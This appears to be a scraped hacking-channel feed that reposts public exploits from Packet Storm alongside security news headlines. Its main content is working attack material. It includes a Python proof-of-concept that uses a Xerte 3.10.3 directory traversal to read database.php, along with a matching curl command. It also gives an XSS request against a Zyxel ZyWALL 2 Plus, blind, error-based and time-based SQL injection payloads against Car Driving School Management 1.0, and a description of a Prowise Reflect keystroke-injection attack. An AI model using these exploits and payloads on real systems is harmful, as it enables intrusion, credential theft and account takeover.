What is the John The Riper(JTR)? How to use JTR?
https://mirabbasagalarov.medium.com/what-is-the-john-the-riper-jtr-how-to-use-jtr-31730ca3305c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What is the John The Riper?Continue reading on Medium » (https://mirabbasagalarov.medium.com/what-is-the-john-the-riper-jtr-how-to-use-jtr-31730ca3305c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

What is the John The Riper(JTR)? How to use JTR?

What is the John The Riper?Continue reading on Medium »
Read more...

Exploit Collector
Printix Client 1.3.1106.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xerte 3.10.3 Directory Traversal

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Xerte versions 3.10.3 and below suffer from a directory traversal vulnerability.

MD5 | 26e7456440c05b36c8a1440493e0c60b

Download
# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665

# This PoC assumes guest login is enabled. Vulnerable url:
# https:// visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers-<username-<templatename

import requests
import re

xerte_base_url = "http://127.0.0.1"
file_to_grab = "/../../database.php"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.

with requests.Session() as session:
# Get a PHP session ID
if not php_session_id:
session.get(xerte_base_url)
else:
session.cookies.set("PHPSESSID", php_session_id)

# Use a default template
data = {
'tutorialid': 'Nottingham',
'templatename': 'Nottingham',
'tutorialname': 'exploit',
'folder_id': ''
}

# Create a new project in order to create a user-folder
template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)

# Find template ID
data = {
'template_id': re.findall('(\d+)', template_id.text)[0]
}

# Find the created user-direcotry:
user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)
user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]

# Grab file
result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
print(result.text)
print("|-- Used Variables: --|")
print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])
print("user direcotry: " + user_direcotry)
print("Curl example:")
print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
</code>
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zyxel ZyWALL 2 Plus Cross Site Scripting

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Zyxel ZyWALL 2 Plus suffers from a cross site scripting vulnerability.

MD5 | fd4b0dad3ba6f24a0a04bfd6719dc3ee

Download
# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)
# Date: 1/3/2022
# Exploit Author: Momen Eldawakhly (CyberGuy)
# Vendor Homepage: https://www.zyxel.com
# Version: ZyWALL 2 Plus
# Tested on: Ubuntu Linux [Firefox]
# CVE : CVE-2021-46387

GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1
Host: vuln.ip:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xerte 3.9 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Car Driving School Management 1.0 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Car Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 93a8b3fb52268fedea1b0ec1f090ea42

Download
## Title: Car Driving School Management v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.02.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571

## Description:
The `username` parameter on Car Driving School Management v1.0 appears
to be vulnerable to SQL injection attacks.
A single quote was submitted in the username parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT
COUNT(*),CONCAT(0x71786b7671,(SELECT
(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=DMdqCjGG' AND (SELECT 9290 FROM
(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)

## Proof and Exploit:
[href](https://streamable.com/n9r8uk)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Prowise Reflect 1.0.9 Remote Keystroke Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Prowise Reflect version 1.0.9 suffers from a remote keystroke injection vulnerability.

MD5 | 4e08fc9cb25c1afd33556845fb9ee195

Download
# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
# - Start menu will open, types notepad.exe and types hello world.
Exploit!

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Reduce Risk With Better Cyber Due Diligence

Done incorrectly, due diligence can result in slower integration of assets, which increases acquisition costs associated and could reduce expected gains.

Dark Reading: Attacks/Breaches
NeuraLegion Rebrands as Bright Security

Also announces $20 million Series A funding round led by Evolution Equity Partners.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
3 Ways to Expand Gender Diversity in Cybersecurity

Why this is important: A business that surrounds itself with the same kind of people who work on the same projects will not generate new or original ideas.